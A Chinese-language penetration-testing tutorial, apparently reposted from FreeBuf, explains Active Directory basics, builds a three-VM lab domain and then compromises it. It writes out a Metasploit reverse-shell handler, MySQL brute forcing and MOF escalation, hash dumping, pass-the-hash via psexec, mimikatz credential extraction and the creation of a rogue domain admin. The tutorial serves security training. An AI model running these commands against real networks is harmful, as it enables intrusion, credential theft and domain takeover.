内网渗透:一次完整的域渗透
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
域环境 在开始域渗透之前,先来简单了解下域的一些概念 域(Domain)是一个有安全边界的计算机集合(安全边界的意思是,在两个域中,一个域中的用户无法访问另一个域中的资源) 工作组的分散管理模式不适合大型的网络环境下工作,域模式就是针对大型的网络管理需求设计的,就是共享用户账号,计算机账号和安全策略的计算机集合。域中集中存储用户账号的计算机就是域控器,域中用户账号,计算机账号和安全策略被存储在域控制器上一个名为Active Directory的数据库中 域控制器 域控制器(Domain Controller,DC)是域中的一台类似管理服务器的计算机,我们可以形象地将它理解为一个单位的门禁系统。域控制器负责所有连入的计算机和用户的验证工作。域内的计算机如果想互相访问,都要经过域控制器的审核 活动目录 活动目录(Active Directory,AD)是指域环境中提供目录服务的组件 目录用于存储有关网络对象(例如用户、组、计算机、共享资源、打印机和联系人等)的信息。目录服务是指帮助用户快速、准确地从目录中找到其所需要的信息的服务。活动目录实现了目录服务,为企业提供了网络环境的集中式管理机制 域控制器和活动目录的区别 如果网络规模较大,就要把网络中的众多对象,例如计算机、用户、用户组、打印机、共享文件等,分门别类、井然有序地放在一个大仓库中,并将检索信息整理好,以便查找、管理和使用这些对象(资源)。这个拥有层次结构的数据库,就是活动目录数据库,简称AD 库 要实现域环境,其实就是要安装AD。如果内网中的一台计算机上安装了AD,它就变成了DC(用于存储活动目录数据库的计算机) 也就是说安装了AD的计算机就是DC 安全域的划分 划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。这个网段内的计算机拥有相同的网络边界,并在网络边界上通过部署防火墙来实现对其他安全域的网络访问控制策略(NACL) 一个典型的中小型内网的安全域划分,如下图所示,一个虚线框表示一个安全域(也是网络的边界,一般分为DMZ 和内网),通过硬件防火墙的不同端口实现隔离 域内成员划分 域控制器:域控制器用于管理所有的网络访问,包括登录服务器、访问共享目录和资源。域控制器中存储了域内所有的账户和策略信息,包括安全策略、用户身份验证信息和账户信息,一个网络中可以有多台域控 成员服务器:成员服务器是指安装了服务器操作系统并加入了域、但没有安装活动目录的计算机,其主要任务是提供网络资源 客户机:域中的计算机可以是安装了其他操作系统的计算机,用户利用这些计算机和域中的账户就可以登录域 独立服务器:独立服务器和域没有关系。如果服务器既不加入域,也不安装活动目录,就称其为独立服务器。独立服务器可以创建工作组、与网络中的其他计算机共享资源,但不能使用活动目录提供的任何服务 参考:内网安全攻防:集群智慧云安服渗透测试实战指南 创建域 现有3个Win Server虚拟机,两个2008,一个2003 使用winserver2008-1作为域控,接下来的操作在这台虚拟机上完成 操作步骤 目标林根级域为:ocean.com 域NetBIOS名称为:OCEAN0 创建组&用户 配置完毕重启后,进入用户和计算机 新建组织单位 名为:oceantest 一共有两台成员服务器,所以新建两个用户分别为 server2003 server20082 密码就是拓扑中给出的 加入域 保证三个虚拟机可以联通(我使用的网络模式是Lan网段10.10.10.1),静态IP并且设置了dns ip为10.10.10.2 进入winserver2008-2,右击计算机选择属性,修改计算机名 点击确认后输入账号和密码,正确的话会提示,然后重启虚拟机 在域控中可以看到两个computer 成员服务器winserver2003可以使用域身份登录主机 默认可以使用主域的账户密码登录所有成员服务器 域渗透 这是整个域环境的拓扑图 分析这个拓扑图可以得知 成员服务器Winserver 2008-2具有双网卡,与攻击者在同一网段(192)可以直接访问,在现实中就是公网IP 成员服务器Winserver 2008-2、成员服务器:Win Server2003、域控制器:Win Server2008-1在同一内网(10段),也在同一个域内,可以相互访问 因为是内网渗透,所以环境中成员服务器Winserver 2008-2已经因为漏洞使用MSF拿下了 use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.179.128set lport 12345exploit 常规信息收集 主机信息收集 # 获取当前用户meterpreter > getuid# 尽可能提权meterpreter > getprivs# 通过各种攻击向量来提权meterpreter > getsystem。。。。。。 成功拿到system权限 # 查看网卡信息meterpreter >ifconfig 发现有两个网卡,其中包含10(内网)网段# 查看路由信息meterpreter >run autoroute -pmeterpreter >run get_local_subnets 内网信息收集 # 通过ping命令meterpreter >run post/multi/gather/ping_sweep RHOSTS=10.10.10.0/24# 通过arp协议meterpreter >run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24# 使用info查看模块信息meterpreter >meterpreter >info post/multi/gather/ping_sweep 发现内网主机:10.10.10.2、10.10.10.4 在meterpreter中输入命令 shell 进入 成员服务器Winserver 2008-2 的命令行,使用命令查看网络详细情况 meterpreter > shellC:Windowssystem32>ipconfig /all 通过这些信息可以判断 成员服务器Winserver 2008-2 在 ocean.com 域中,根据 DNS 信息判断域控主机 IP 为10.10.10.2 设置路由使用 Nmap 对内网主机进行扫描 meterpreter > background msf5 exploit(multi/handler) > route add 10.10.10.3 255.255.255.0 1# 将被控机成员服务器Winserver 2008-2的IP添加到 MSF 中,这是给kali增加的路由,添加之后kali才才能找到内网主机msf5 exploit(multi/handler) > use scanner/portscan/tcpmsf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.4# 扫描域内的成员服务器 winserver2003msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.10.2# 扫描域控服务器的端口 注:如果扫不到就重启下虚拟机 发现域内的成员服务器 winserver2003(10.10.10.4) 开放了3306 MySQL端口,使用msf查看是否存在漏洞 拿下2003 1.MySQL弱口令 扫描MySQL是否使用了弱口令 use auxiliary/scanner/mysql/mysql_login msf5 auxiliary(scanner/mysql/mysql_login) > show optionsmsf5 auxiliary(scanner/mysql/mysql_login) > set rhosts 10.10.10.4msf5 auxiliary(scanner/mysql/mysql_login) > set username rootmsf5 auxiliary(scanner/mysql/mysql_login) > set pass_file /root/桌面/top1000.txtexploit 如果爆破成功后可以使用msf模块提权 [+] 10.10.10.4:3306 - 10.10.1.3:3306 - Success: 'root:123456 use windows/mysql/mysql_mof msf exploit(windows/mysql/mysql_mof) > set PASSWORD 123456PASSWORD => 123456msf exploit(windows/mysql/mysql_mof) > set rhost 10.10.10.4rhost => 10.10.10.4msf exploit(windows/mysql/mysql_mof) > set USERNAME rootUSERNAME => rootmsf exploit(windows/mysql/mysql_mof) > set payload windows/meterpreter/bind_tcppayload => windows/meterpreter/bind_tcpmsf exploit(windows/mysql/mysql_mof) > exploit 通过MySQL的mof提权得到成员服务器 winserver2003(10.10.10.4) 的权限 2.哈希传递攻击 通过扫描端口可以判断其开启了445端口使用哈希传递攻击去打成员服务器 winserver2003(10.10.10.4) PTH即pass-the-hash,原理是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不需要提供明文密码 使用MSF获取hash值 meterpreter > hashdump Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::............ 选择payload,使用winserver2008-2的账户密码hash,攻击winserver2003,因为内网环境中存在大量密码一样的主机,还有一些弱口令,当我们获得了一台的hash后,可以通过该hash进行横向渗透 hash解密网站:https://www.objecif-securite.ch/ophcrack 后半段为加密数据 backgrounduse exploit/windows/smb/psexecset payload windows/meterpreter/bind_tcpshow options -->查看配置选项set RHOST 10.10.10.4 -->设置攻击目标IP,端口默认445set SMBUser Administrator -->设置账号为wingset SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4run 问题解决 hashdump报错:[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect. 进程权限不足,ps之后migrate explorer.exe meterpreter > migrate 3416 [] Migrating from 1820 to 3416... [] Migration completed successfully. meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ::: 还有就是要注意使用虚拟机向外复制时,在确认一边可能出现hash对完全就不对的情况 攻击得到域内机器2003的session 当然不止这些攻击手段 目前域内的两台成员服务器已经被拿下,最后就是域控服务器 拿下域控 信息收集 # 显示一个计算机上共享资源的列表net view net view /domain # 获取所有域的用户列表net user /domain # 获取域用户组信息net group /domain # 获取当前域管理员信息net group "domain admins" /domain # 查看域时间及域服务器的名字net time /domain # 添加普通域用户,这个要域管理权限才可以的net user hack hack /add /domain # 将普通域用户提升为域管理员net group "Domain Admins" hack /add /domain 通过信息收集可以判断出 \WIN-A9PLNLID2QM.ocean.com IP:10.10.10.2 就是域控 继续收集hash账号信息 meterpreter > hashdumpAdministrator:500:44efce164ab921caaad3b435b51404ee:3GvSevN4pTrQrBY9PhEwozRPh5uPsL8jUZ:::ASPNET:1006:b6cdaa6dd10a6155b54d6886c7b4b8f4:570c90ed6cca2f86b06241a2e5e0c3df:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::IUSR_WWW-C4D593E2D2C:1000:44566b28c2e9a8f2d6aba8863bf7093c:2d8b5c5e471954a4ff306dff1b311cc6:::IWAM_WWW-C4D593E2D2C:1001:80e1bd999815342156825c6c4818ef78:7c7ee5557864c448aba74604255eeac2:::ocean:1009:a8515a6b1cd41f3eaad3b435b51404ee:8c463fff186fe69a245b37b195c49c1d:::SUPPORT_388945a0:1004:aad3b435b51404eeaad3b435b51404ee:eb84cedb36588cbaf2bf1b9a64905ce5:::# 注意这里从虚拟机里直接复制出来的是错误的 普通用户更改系统信息都需要通过域管理员的操作,要输入账号和密码 mimikatz 可以使用mimikatz获取明文的密码 使用 mimikatz 模块需要 System 权限,所以我们在使用该模块之前需要将当前 MSF 中的 shell 提升为 system # 加载kiwi模块load mimikatz# 查看kiwi模块的使用help mimikatz MSF 中 mimikatz 模块的使用 mimikatz 下有七个命令: kerberos:kerberos 相关的模块 livessp:尝试检索 livessp 凭据 mimikatz_command:运行一个定制的命令 msv:msv 凭证相关的模块,列出目标主机的用户密码哈希 ssp:ssp 凭证相关的模块 tspkg:tspkg 凭证相关的模块 wdigest:wdigest 凭证相关的模块 使用kerberos命令查看 meterpreter > kerberos[+] Running as SYSTEM[*] Retrieving kerberos credentialskerberos credentials==================== AuthID Package Domain User Password------ ------- ------ ---- --------0;996 Negotiate NT AUTHORITY NETWORK SERVICE0;997 Negotiate NT AUTHORITY LOCAL SERVICE0;53193 NTLM0;999 Negotiate OCEAN0 SERVERS2003$0;390687 Kerberos OCEAN0 administrator Ocean@123 通过获取当前域管理员信息,确认administrator就是域控主机管理员用户 net group "domain admins" /domain 使用psexec模块拿到sessions use exploit/windows/smb/psexecset rhost 10.10.10.2set SMBDomain ocean0set SMBUser administratorset SMBPASS Ocean@123set payload windows/meterpreter/bind_tcp 注:域控虚拟机要关闭域防火墙 执行后拿到域控主机的sessions 整个攻击流程: 后渗透&其他 拿到权限后要考虑收集重要信息、提权、权限维持、痕迹清理等操作 收集密码 meterpreter > hashdump# 如果获取不到,可以使用meterpreter > run post/windows/gather/hashdump 远程连接 拿下域控之后,所有的主机都可以使用域控 administrator:Ocean@123 账户登录 redesktop 192.168.179.148# 因为成员服务器有双网卡,并且能直接被攻击者访问,所以可以直接远程连接登录,其他主机因为在内网需要设置代理之后才可以访问 注:虚拟机winserver2008-2需要开启RDP,且设置为任意连接 登录之后可以再次使用RDP连接域控,账户就是域控账号 层层套娃下成功连接域控 MSF其他模块 MSF使用详解 另外在新版msf 6中mimikatz已经更名为kiwi,使用命令也稍有改变 原文链接 https://www.freebuf.com/column/306284.html 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END